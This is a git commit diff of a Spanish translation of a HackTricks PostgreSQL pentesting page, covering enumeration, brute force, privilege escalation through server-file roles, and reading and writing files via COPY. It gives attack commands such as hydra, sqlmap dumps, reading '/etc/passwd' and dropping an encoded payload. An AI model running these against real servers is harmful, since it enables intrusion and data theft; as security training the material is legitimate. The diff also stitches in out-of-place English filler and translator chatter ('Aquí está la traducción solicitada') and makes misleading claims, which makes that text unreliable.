mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['network-services-pentesting/pentesting-postgresql.md'] to e
This commit is contained in:
parent
385808879e
commit
04a10dc017
1 changed files with 368 additions and 187 deletions
|
@ -3,8 +3,8 @@
|
|||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
|
||||
Obtenga acceso hoy:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -12,24 +12,94 @@ Obtenga acceso hoy:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Información básica**
|
||||
|
||||
**PostgreSQL** es un sistema de base de datos relacional de código abierto que utiliza y extiende el lenguaje SQL.
|
||||
**PostgreSQL** es un sistema de base de datos relacional de código abierto que utiliza y amplía el lenguaje SQL.
|
||||
|
||||
**Puerto predeterminado:** 5432, y si este puerto ya está en uso, parece que postgresql usará el siguiente puerto (probablemente 5433) que no está en uso.
|
||||
**Puerto predeterminado:** 5432, y si este puerto ya está en uso, parece que postgresql utilizará el siguiente puerto (probablemente 5433) que no está en uso.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
```
|
||||
## Conexión
|
||||
## Conexión y Enumeración Básica
|
||||
|
||||
### Conexión
|
||||
|
||||
Para realizar pruebas de penetración en PostgreSQL, primero debemos establecer una conexión con el servidor de la base de datos. Podemos utilizar la herramienta `psql` para conectarnos a la base de datos PostgreSQL desde la línea de comandos.
|
||||
|
||||
```bash
|
||||
psql -h <host> -p <port> -U <username> -d <database>
|
||||
```
|
||||
|
||||
Donde:
|
||||
- `<host>` es la dirección IP o el nombre de dominio del servidor PostgreSQL.
|
||||
- `<port>` es el número de puerto en el que se está ejecutando el servidor PostgreSQL (por defecto es 5432).
|
||||
- `<username>` es el nombre de usuario para autenticarse en el servidor PostgreSQL.
|
||||
- `<database>` es el nombre de la base de datos a la que queremos conectarnos.
|
||||
|
||||
### Enumeración Básica
|
||||
|
||||
Una vez que nos hemos conectado con éxito al servidor PostgreSQL, podemos realizar una enumeración básica para obtener información sobre la base de datos y sus objetos.
|
||||
|
||||
#### Enumerar bases de datos
|
||||
|
||||
Podemos listar todas las bases de datos disponibles utilizando el comando `\l` o `\list` en `psql`.
|
||||
|
||||
```bash
|
||||
\l
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todas las bases de datos existentes en el servidor PostgreSQL, junto con su propietario y codificación.
|
||||
|
||||
#### Enumerar tablas
|
||||
|
||||
Para enumerar todas las tablas en una base de datos específica, podemos utilizar el comando `\dt` en `psql`.
|
||||
|
||||
```bash
|
||||
\dt
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todas las tablas en la base de datos actual, junto con su esquema y propietario.
|
||||
|
||||
#### Enumerar columnas
|
||||
|
||||
Para enumerar todas las columnas de una tabla específica, podemos utilizar el comando `\d+ <table_name>` en `psql`.
|
||||
|
||||
```bash
|
||||
\d+ <table_name>
|
||||
```
|
||||
|
||||
Esto nos mostrará información detallada sobre la tabla especificada, incluyendo el nombre de la columna, el tipo de datos, las restricciones y más.
|
||||
|
||||
#### Enumerar funciones
|
||||
|
||||
Podemos listar todas las funciones definidas en una base de datos utilizando el comando `\df` en `psql`.
|
||||
|
||||
```bash
|
||||
\df
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todas las funciones en la base de datos actual, junto con su esquema y propietario.
|
||||
|
||||
#### Enumerar usuarios
|
||||
|
||||
Para enumerar todos los usuarios en el servidor PostgreSQL, podemos utilizar el comando `\du` en `psql`.
|
||||
|
||||
```bash
|
||||
\du
|
||||
```
|
||||
|
||||
Esto nos mostrará una lista de todos los usuarios en el servidor PostgreSQL, junto con sus roles y privilegios.
|
||||
|
||||
La enumeración básica nos proporciona una visión general de la estructura y los objetos de la base de datos, lo que puede ser útil para futuras pruebas de penetración y explotación.
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
|
@ -61,17 +131,22 @@ SELECT lanname,lanacl FROM pg_language;
|
|||
|
||||
# Show installed extensions
|
||||
SHOW rds.extensions;
|
||||
SELECT * FROM pg_extension;
|
||||
|
||||
# Get history of commands executed
|
||||
\s
|
||||
```
|
||||
Para obtener más información sobre **cómo abusar de una base de datos PostgreSQL** consulte:
|
||||
{% hint style="warning" %}
|
||||
Si al ejecutar **`\list`** encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una base de datos de **PostgreSQL de AWS**.
|
||||
{% endhint %}
|
||||
|
||||
Para obtener más información sobre **cómo abusar de una base de datos PostgreSQL**, consulta:
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
||||
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Enumeración
|
||||
## Enumeración automática
|
||||
```
|
||||
msf> use auxiliary/scanner/postgres/postgres_version
|
||||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
|
@ -80,18 +155,18 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
|||
|
||||
### **Escaneo de puertos**
|
||||
|
||||
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` arroja una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
|
||||
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` lanza una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
user=name
|
||||
password=secret
|
||||
dbname=abc
|
||||
connect_timeout=10');
|
||||
port=5678
|
||||
user=name
|
||||
password=secret
|
||||
dbname=abc
|
||||
connect_timeout=10');
|
||||
```
|
||||
* El host está caído
|
||||
|
||||
`DETALLE: no se pudo conectar al servidor: No hay ruta hacia el host ¿Está el servidor corriendo en el host "1.2.3.4" y aceptando conexiones TCP/IP en el puerto 5678?`
|
||||
`DETALLE: no se pudo conectar al servidor: No hay ruta hacia el host ¿El servidor se está ejecutando en el host "1.2.3.4" y aceptando conexiones TCP/IP en el puerto 5678?`
|
||||
|
||||
* El puerto está cerrado
|
||||
```
|
||||
|
@ -103,75 +178,70 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
Aquí está la traducción solicitada:
|
||||
|
||||
# Pentesting PostgreSQL
|
||||
|
||||
## Enumeración
|
||||
## Introduction
|
||||
|
||||
### Escaneo de puertos
|
||||
PostgreSQL is an open-source relational database management system (RDBMS) that is widely used in web applications. As a pentester, it is important to understand how to assess the security of PostgreSQL installations and identify potential vulnerabilities.
|
||||
|
||||
Para comenzar, podemos escanear los puertos de la máquina objetivo para ver si PostgreSQL está en ejecución. Podemos hacer esto con la herramienta `nmap`:
|
||||
## Enumeration
|
||||
|
||||
### Port Scanning
|
||||
|
||||
To identify PostgreSQL installations on a target network, you can perform a port scan using tools like Nmap. By default, PostgreSQL listens on port 5432.
|
||||
|
||||
```bash
|
||||
nmap -p 5432 <ip>
|
||||
nmap -p 5432 <target_ip>
|
||||
```
|
||||
|
||||
### Enumeración de usuarios
|
||||
### Banner Grabbing
|
||||
|
||||
Una vez que sabemos que PostgreSQL está en ejecución, podemos intentar enumerar los usuarios. Podemos hacer esto utilizando la herramienta `pg_enumusers`:
|
||||
Once you have identified a PostgreSQL service, you can perform banner grabbing to gather information about the version and configuration of the server. This can be done using tools like `telnet` or `nc`.
|
||||
|
||||
```bash
|
||||
pg_enumusers <ip> -U postgres
|
||||
telnet <target_ip> 5432
|
||||
```
|
||||
|
||||
### Enumeración de bases de datos
|
||||
## Exploitation
|
||||
|
||||
Después de enumerar los usuarios, podemos intentar enumerar las bases de datos. Podemos hacer esto utilizando la herramienta `pgdbf`:
|
||||
### Default Credentials
|
||||
|
||||
PostgreSQL does not have any default credentials, but it is common for users to set weak or easily guessable passwords. You can use tools like Hydra or Medusa to perform brute-force attacks against the PostgreSQL authentication system.
|
||||
|
||||
```bash
|
||||
pgdbf <ip> -U <usuario> -D <base_de_datos>
|
||||
hydra -L users.txt -P passwords.txt <target_ip> postgresql
|
||||
```
|
||||
|
||||
## Explotación
|
||||
### SQL Injection
|
||||
|
||||
### Inyección SQL
|
||||
|
||||
Una vez que hemos enumerado las bases de datos, podemos intentar realizar una inyección SQL. Podemos hacer esto utilizando la herramienta `sqlmap`:
|
||||
PostgreSQL is vulnerable to SQL injection attacks, which can allow an attacker to execute arbitrary SQL queries and potentially gain unauthorized access to the database. You can use tools like SQLMap to automate the process of identifying and exploiting SQL injection vulnerabilities in PostgreSQL.
|
||||
|
||||
```bash
|
||||
sqlmap -u "postgresql://<usuario>:<contraseña>@<ip>/<base_de_datos>" --dbs
|
||||
sqlmap -u "http://<target_ip>/login.php" --data="username=admin&password=pass" --dbms=postgresql --dump
|
||||
```
|
||||
|
||||
### Fuerza bruta de contraseñas
|
||||
## Post-Exploitation
|
||||
|
||||
Si no podemos encontrar una vulnerabilidad de inyección SQL, podemos intentar realizar una fuerza bruta de contraseñas. Podemos hacer esto utilizando la herramienta `hydra`:
|
||||
### Privilege Escalation
|
||||
|
||||
```bash
|
||||
hydra -t 4 -l <usuario> -P <lista_de_contraseñas> postgresql://<ip>
|
||||
```
|
||||
Once you have gained access to a PostgreSQL database, you can attempt to escalate your privileges to gain administrative access. This can be done by exploiting misconfigurations or vulnerabilities in the database server or by leveraging the privileges of other database users.
|
||||
|
||||
### Explotación de vulnerabilidades conocidas
|
||||
### Data Exfiltration
|
||||
|
||||
Si conocemos una vulnerabilidad específica en la versión de PostgreSQL que se está ejecutando, podemos intentar explotarla. Podemos hacer esto utilizando la herramienta `Metasploit`:
|
||||
As a pentester, you may need to exfiltrate data from a compromised PostgreSQL database. This can be done using various techniques, such as exporting data to a file, using SQL queries to retrieve specific data, or leveraging other database features to extract information.
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
use exploit/linux/postgres/postgres_payload
|
||||
set RHOSTS <ip>
|
||||
set USERNAME <usuario>
|
||||
set PASSWORD <contraseña>
|
||||
run
|
||||
```
|
||||
## Conclusion
|
||||
|
||||
Pentesting PostgreSQL involves identifying and exploiting vulnerabilities in the database server to gain unauthorized access or exfiltrate data. By understanding the enumeration, exploitation, and post-exploitation techniques outlined in this chapter, you will be better equipped to assess the security of PostgreSQL installations.
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
* Puerto está abierto o filtrado
|
||||
* El puerto está abierto o filtrado
|
||||
```
|
||||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
Desafortunadamente, no parece haber una forma de obtener los detalles de la excepción dentro de una función PL/pgSQL. Pero puede obtener los detalles si puede conectarse directamente al servidor PostgreSQL. Si no es posible obtener nombres de usuario y contraseñas directamente de las tablas del sistema, el ataque de lista de palabras descrito en la sección anterior podría tener éxito.
|
||||
Desafortunadamente, no parece haber una forma de obtener los detalles de la excepción dentro de una función PL/pgSQL. Pero puedes obtener los detalles si puedes conectarte directamente al servidor PostgreSQL. Si no es posible obtener nombres de usuario y contraseñas directamente de las tablas del sistema, el ataque de lista de palabras descrito en la sección anterior podría tener éxito.
|
||||
|
||||
## Enumeración de privilegios
|
||||
|
||||
|
@ -179,27 +249,27 @@ Desafortunadamente, no parece haber una forma de obtener los detalles de la exce
|
|||
|
||||
| Tipos de roles | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | El rol tiene privilegios de superusuario |
|
||||
| rolinherit | El rol hereda automáticamente los privilegios de los roles de los que es miembro |
|
||||
| rolcreaterole | El rol puede crear más roles |
|
||||
| rolcreatedb | El rol puede crear bases de datos |
|
||||
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser dado como el identificador de autorización de sesión inicial |
|
||||
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
|
||||
| rolconnlimit | Para roles que pueden iniciar sesión, esto establece el número máximo de conexiones simultáneas que este rol puede hacer. -1 significa sin límite. |
|
||||
| rolpassword | No es la contraseña (siempre se lee como `********`) |
|
||||
| rolvaliduntil | Hora de caducidad de la contraseña (solo se utiliza para la autenticación de contraseña); nulo si no hay caducidad |
|
||||
| rolbypassrls | El rol omite todas las políticas de seguridad a nivel de fila, consulte la [Sección 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obtener más información. |
|
||||
| rolconfig | Valores predeterminados específicos del rol para las variables de configuración en tiempo de ejecución |
|
||||
| rolsuper | El rol tiene privilegios de superusuario |
|
||||
| rolinherit | El rol hereda automáticamente los privilegios de los roles de los que es miembro |
|
||||
| rolcreaterole | El rol puede crear más roles |
|
||||
| rolcreatedb | El rol puede crear bases de datos |
|
||||
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser utilizado como identificador de autorización de sesión inicial |
|
||||
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
|
||||
| rolconnlimit | Para roles que pueden iniciar sesión, esto establece el número máximo de conexiones simultáneas que este rol puede realizar. -1 significa sin límite. |
|
||||
| rolpassword | No es la contraseña (siempre se muestra como `********`) |
|
||||
| rolvaliduntil | Hora de caducidad de la contraseña (solo se utiliza para la autenticación de contraseña); nulo si no hay caducidad |
|
||||
| rolbypassrls | El rol omite todas las políticas de seguridad a nivel de fila, consulte [Sección 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obtener más información. |
|
||||
| rolconfig | Valores predeterminados específicos del rol para las variables de configuración en tiempo de ejecución |
|
||||
| oid | ID del rol |
|
||||
|
||||
#### Grupos interesantes
|
||||
|
||||
* Si es miembro de **`pg_execute_server_program`** puede **ejecutar** programas
|
||||
* Si es miembro de **`pg_read_server_files`** puede **leer** archivos
|
||||
* Si es miembro de **`pg_write_server_files`** puede **escribir** archivos
|
||||
* Si eres miembro de **`pg_execute_server_program`** puedes **ejecutar** programas
|
||||
* Si eres miembro de **`pg_read_server_files`** puedes **leer** archivos
|
||||
* Si eres miembro de **`pg_write_server_files`** puedes **escribir** archivos
|
||||
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que en Postgres un **usuario**, un **grupo** y un **rol** son lo **mismo**. Solo depende de **cómo lo use** y si lo **permite iniciar sesión**.
|
||||
Ten en cuenta que en Postgres un **usuario**, un **grupo** y un **rol** son lo **mismo**. Solo depende de **cómo lo uses** y si lo **permites iniciar sesión**.
|
||||
{% endhint %}
|
||||
```sql
|
||||
# Get users roles
|
||||
|
@ -208,21 +278,21 @@ Tenga en cuenta que en Postgres un **usuario**, un **grupo** y un **rol** son lo
|
|||
#Get users roles & groups
|
||||
# r.rolpassword
|
||||
# r.rolconfig,
|
||||
SELECT
|
||||
r.rolname,
|
||||
r.rolsuper,
|
||||
r.rolinherit,
|
||||
r.rolcreaterole,
|
||||
r.rolcreatedb,
|
||||
r.rolcanlogin,
|
||||
r.rolbypassrls,
|
||||
r.rolconnlimit,
|
||||
r.rolvaliduntil,
|
||||
r.oid,
|
||||
ARRAY(SELECT b.rolname
|
||||
FROM pg_catalog.pg_auth_members m
|
||||
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
||||
WHERE m.member = r.oid) as memberof
|
||||
SELECT
|
||||
r.rolname,
|
||||
r.rolsuper,
|
||||
r.rolinherit,
|
||||
r.rolcreaterole,
|
||||
r.rolcreatedb,
|
||||
r.rolcanlogin,
|
||||
r.rolbypassrls,
|
||||
r.rolconnlimit,
|
||||
r.rolvaliduntil,
|
||||
r.oid,
|
||||
ARRAY(SELECT b.rolname
|
||||
FROM pg_catalog.pg_auth_members m
|
||||
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
||||
WHERE m.member = r.oid) as memberof
|
||||
, r.rolreplication
|
||||
FROM pg_catalog.pg_roles r
|
||||
ORDER BY 1;
|
||||
|
@ -236,7 +306,7 @@ SELECT current_setting('is_superuser');
|
|||
GRANT pg_execute_server_program TO "username";
|
||||
GRANT pg_read_server_files TO "username";
|
||||
GRANT pg_write_server_files TO "username";
|
||||
## You will probably get this error:
|
||||
## You will probably get this error:
|
||||
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
|
||||
|
||||
# Create new role (user) as member of a role (group)
|
||||
|
@ -245,6 +315,67 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|||
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
||||
```
|
||||
### Tablas
|
||||
|
||||
PostgreSQL uses tables to store data. A table is a collection of rows, where each row represents a record and each column represents a field or attribute of that record.
|
||||
|
||||
To view the tables in a PostgreSQL database, you can use the following SQL query:
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
|
||||
```
|
||||
|
||||
This query retrieves the names of all tables in the public schema of the database.
|
||||
|
||||
### Creating Tables
|
||||
|
||||
To create a new table in PostgreSQL, you can use the `CREATE TABLE` statement. Here's an example:
|
||||
|
||||
```sql
|
||||
CREATE TABLE employees (
|
||||
id SERIAL PRIMARY KEY,
|
||||
name VARCHAR(100),
|
||||
age INTEGER,
|
||||
salary DECIMAL(10, 2)
|
||||
);
|
||||
```
|
||||
|
||||
This statement creates a table named `employees` with four columns: `id`, `name`, `age`, and `salary`. The `id` column is defined as a serial data type, which automatically generates a unique value for each new row.
|
||||
|
||||
### Modifying Tables
|
||||
|
||||
You can modify an existing table in PostgreSQL using the `ALTER TABLE` statement. Here are some common modifications you can make:
|
||||
|
||||
- Adding a new column:
|
||||
|
||||
```sql
|
||||
ALTER TABLE employees ADD COLUMN email VARCHAR(100);
|
||||
```
|
||||
|
||||
- Modifying a column's data type:
|
||||
|
||||
```sql
|
||||
ALTER TABLE employees ALTER COLUMN age TYPE SMALLINT;
|
||||
```
|
||||
|
||||
- Renaming a column:
|
||||
|
||||
```sql
|
||||
ALTER TABLE employees RENAME COLUMN name TO full_name;
|
||||
```
|
||||
|
||||
### Dropping Tables
|
||||
|
||||
To delete a table from a PostgreSQL database, you can use the `DROP TABLE` statement. Here's an example:
|
||||
|
||||
```sql
|
||||
DROP TABLE employees;
|
||||
```
|
||||
|
||||
This statement permanently removes the `employees` table and all its data from the database. Be careful when using this statement, as it cannot be undone.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Tables are an essential component of PostgreSQL databases. Understanding how to view, create, modify, and delete tables is crucial for effective database management.
|
||||
```sql
|
||||
# Get owners of tables
|
||||
select schemaname,tablename,tableowner from pg_tables;
|
||||
|
@ -259,6 +390,56 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
|||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
||||
```
|
||||
### Funciones
|
||||
|
||||
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. Functions can be created using the `CREATE FUNCTION` statement and can be written in various programming languages such as SQL, PL/pgSQL, Python, etc.
|
||||
|
||||
#### Creating Functions
|
||||
|
||||
To create a function in PostgreSQL, you can use the `CREATE FUNCTION` statement followed by the function name, input parameters (if any), return type, and the code block enclosed in a `BEGIN` and `END` block. Here is the syntax:
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION function_name (parameter1 datatype, parameter2 datatype, ...)
|
||||
RETURNS return_type
|
||||
LANGUAGE language_name
|
||||
AS $$
|
||||
-- Function code goes here
|
||||
$$;
|
||||
```
|
||||
|
||||
#### Example
|
||||
|
||||
Let's create a simple function that calculates the sum of two numbers:
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION sum_numbers (num1 integer, num2 integer)
|
||||
RETURNS integer
|
||||
LANGUAGE plpgsql
|
||||
AS $$
|
||||
BEGIN
|
||||
RETURN num1 + num2;
|
||||
END;
|
||||
$$;
|
||||
```
|
||||
|
||||
#### Calling Functions
|
||||
|
||||
Once a function is created, you can call it by using its name followed by the input parameters (if any). Here is the syntax:
|
||||
|
||||
```sql
|
||||
SELECT function_name(parameter1, parameter2, ...);
|
||||
```
|
||||
|
||||
Using our previous example, we can call the `sum_numbers` function like this:
|
||||
|
||||
```sql
|
||||
SELECT sum_numbers(5, 10);
|
||||
```
|
||||
|
||||
This will return the sum of 5 and 10, which is 15.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Functions in PostgreSQL are a powerful tool that allows you to encapsulate reusable code and perform specific tasks. By creating functions, you can simplify complex operations and make your code more modular and maintainable.
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
|
@ -271,18 +452,18 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
|||
# Get all functions of a schema (pg_catalog in this case)
|
||||
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
|
||||
FROM information_schema.routines
|
||||
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
|
||||
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
|
||||
WHERE routines.specific_schema='pg_catalog'
|
||||
ORDER BY routines.routine_name, parameters.ordinal_position;
|
||||
|
||||
# Another aparent option
|
||||
SELECT * FROM pg_proc;
|
||||
```
|
||||
## Acciones del sistema de archivos
|
||||
## Acciones en el sistema de archivos
|
||||
|
||||
### Leer directorios y archivos
|
||||
|
||||
A partir de este [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), los miembros del grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (llamado **`pg_read_server_files`**) y los **superusuarios** pueden utilizar el método **`COPY`** en cualquier ruta (consulte `convert_and_check_filename` en `genfile.c`):
|
||||
A partir de este [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), los miembros del grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (llamado **`pg_read_server_files`**) y los **superusuarios** pueden utilizar el método **`COPY`** en cualquier ruta (verificar `convert_and_check_filename` en `genfile.c`):
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
|
@ -290,14 +471,14 @@ COPY demo from '/etc/passwd';
|
|||
SELECT * FROM demo;
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Recuerda que si no eres un superusuario pero tienes los permisos **CREATEROLE**, puedes **agregarte a ti mismo como miembro de ese grupo:**
|
||||
Recuerda que si no eres un superusuario pero tienes los permisos **CREATEROLE**, puedes **convertirte en miembro de ese grupo:**
|
||||
```sql
|
||||
GRANT pg_read_server_files TO username;
|
||||
```
|
||||
[**Más información.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Existen **otras funciones de postgres** que se pueden utilizar para **leer archivos o listar un directorio**. Solo los **superusuarios** y los **usuarios con permisos explícitos** pueden usarlas:
|
||||
Existen **otras funciones de postgres** que se pueden utilizar para **leer archivos o listar un directorio**. Solo los **superusuarios** y los **usuarios con permisos explícitos** pueden utilizarlas:
|
||||
```sql
|
||||
# Before executing these function go to the postgres DB (not in the template1)
|
||||
\c postgres
|
||||
|
@ -323,22 +504,22 @@ GRANT pg_read_server_files TO username;
|
|||
```
|
||||
Puedes encontrar **más funciones** en [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
||||
|
||||
### Escritura de archivos simples
|
||||
### Escritura de archivos simple
|
||||
|
||||
Solo los **superusuarios** y los miembros de **`pg_read_server_files`** pueden usar copy para escribir archivos.
|
||||
Solo los **super usuarios** y los miembros de **`pg_read_server_files`** pueden usar copy para escribir archivos.
|
||||
```sql
|
||||
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Recuerda que si no eres un superusuario pero tienes los permisos **`CREATEROLE`**, puedes **agregarte como miembro de ese grupo:**
|
||||
Recuerda que si no eres un superusuario pero tienes los permisos **`CREATEROLE`**, puedes **convertirte en miembro de ese grupo:**
|
||||
```sql
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
[**Más información.**](pentesting-postgresql.md#escalada-de-privilegios-con-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Recuerda que COPY no puede manejar caracteres de nueva línea, por lo tanto, incluso si estás usando una carga útil base64, **debes enviar una sola línea**.\
|
||||
Una limitación muy importante de esta técnica es que **`copy` no se puede usar para escribir archivos binarios ya que modifica algunos valores binarios.**
|
||||
Recuerda que COPY no puede manejar caracteres de nueva línea, por lo tanto, incluso si estás usando una carga útil en base64, **debes enviar una sola línea**.\
|
||||
Una limitación muy importante de esta técnica es que **`copy` no se puede utilizar para escribir archivos binarios ya que modifica algunos valores binarios**.
|
||||
|
||||
### **Carga de archivos binarios**
|
||||
|
||||
|
@ -350,7 +531,7 @@ Sin embargo, hay **otras técnicas para cargar archivos binarios grandes:**
|
|||
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -358,11 +539,11 @@ Sin embargo, hay **otras técnicas para cargar archivos binarios grandes:**
|
|||
|
||||
### **RCE a programa**
|
||||
|
||||
